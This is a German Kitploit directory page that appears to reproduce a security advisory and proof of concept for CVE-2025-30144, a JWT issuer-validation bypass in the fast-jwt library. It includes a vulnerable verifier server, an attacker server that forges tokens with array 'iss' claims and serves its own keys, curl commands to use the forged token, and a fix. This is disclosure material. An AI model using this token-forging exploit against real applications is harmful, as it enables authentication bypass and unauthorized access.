Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-30144 — Proof-of-Concept für CVE-2025-30144: Umgehung der JWT-Issuer-Validierung in der fast-jwt-Bibliothek, die es Angreifern ermöglicht, Token mit array-basierten iss-Claims zu fälschen. | Kitploit
Tools/GitHubGitHub/tibrn/cve-2025-30144
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsAuthentifizierungAPI-Sicherheit
GitHubtibrn/cve-2025-30144

CVE-2025-30144

Proof-of-Concept für CVE-2025-30144: Umgehung der JWT-Issuer-Validierung in der fast-jwt-Bibliothek, die es Angreifern ermöglicht, Token mit array-basierten iss-Claims zu fälschen.

Repository anzeigen
vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Zusammenfassung

Die Bibliothek fast-jwt validiert den iss-Anspruch nicht ordnungsgemäß gemäß der RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.

Details

Die Validierung des iss-Anspruchs (Issuer) in der fast-jwt-Bibliothek erlaubt ein Array von Zeichenfolgen als gültigen iss-Wert. Dieser Designfehler ermöglicht einen potenziellen Angriff, bei dem ein böswilliger Akteur ein JWT mit einem iss-Anspruch in der Form ['https://attacker-domain/', 'https://valid-iss'] erstellt. Aufgrund der permissiven Validierung wird das JWT als gültig angesehen.

Wenn die Anwendung außerdem auf externe Bibliotheken wie get-jwks angewiesen ist, die den iss-Anspruch nicht unabhängig validieren, kann der Angreifer diese Schwachstelle ausnutzen, um ein JWT zu fälschen, das von der Opferanwendung akzeptiert wird. Im Wesentlichen kann der Angreifer seine eigene Domain in das iss-Array neben dem legitimen Aussteller einfügen und die beabsichtigten Sicherheitsprüfungen umgehen.

PoC

Nehmen Sie einen Server, der den folgenden Code ausführt:

root@kitploit:~
const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')

const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
    jwks.getPublicKey({
        kid: jwt.header.kid,
        alg: jwt.header.alg,
        domain: jwt.payload.iss
    });


const jwtVerifier = createVerifier({
    key: keyFetcher,
    allowedIss: 'https://valid-iss',
});

const app = express();
const port = 3000;

app.use(express.json());


async function verifyToken(req, res, next) {
  const headerAuth = req.headers.authorization.split(' ')
  let token = '';
  if (headerAuth.length > 1) {
    token = headerAuth[1];
  }

  const payload = await jwtVerifier(token);

  req.decoded = payload;
  next();
}

// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
  res.json(req.decoded);
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

Jetzt bauen wir einen Server, der verwendet wird, um das JWT-Token zu generieren und die Verifikationsschlüssel an den Opfer-Server zu senden:

root@kitploit:~
const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');

const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;

const { publicKey, privateKey } = generateKeyPairSync("rsa", 
    {   modulusLength: 4096,
        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    },
); 
const jwk = pem2jwk(publicKey);

app.use(express.json());

// Endpoint to create token
app.post('/create-token', (req, res) => {
  const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'],  }, privateKey, { algorithm: 'RS256' });
  res.send(token);
});

app.get('/.well-known/jwks.json', (req, res) => {
    return res.json({
        keys: [{
            ...jwk,
            alg: 'RS256',
            use: 'sig',
        }]
    });
})

app.all('*', (req, res) => {
    return res.json({
        "issuer": host,
        "jwks_uri": host + '.well-known/jwks.json'
    });
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});
root@kitploit:~
export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"

Auswirkung

Anwendungen, die sich bei der Validierung des iss-Anspruchs auf fast-jwt verlassen, ermöglichen Angreifern, beliebige Nutzdaten zu signieren, die vom Verifizierer akzeptiert werden.

Lösung

Ändern Sie https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 zu einem Validator, der nur eine Zeichenfolge für den Wert akzeptiert, wie in der RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9 angegeben.

Tool herunterladen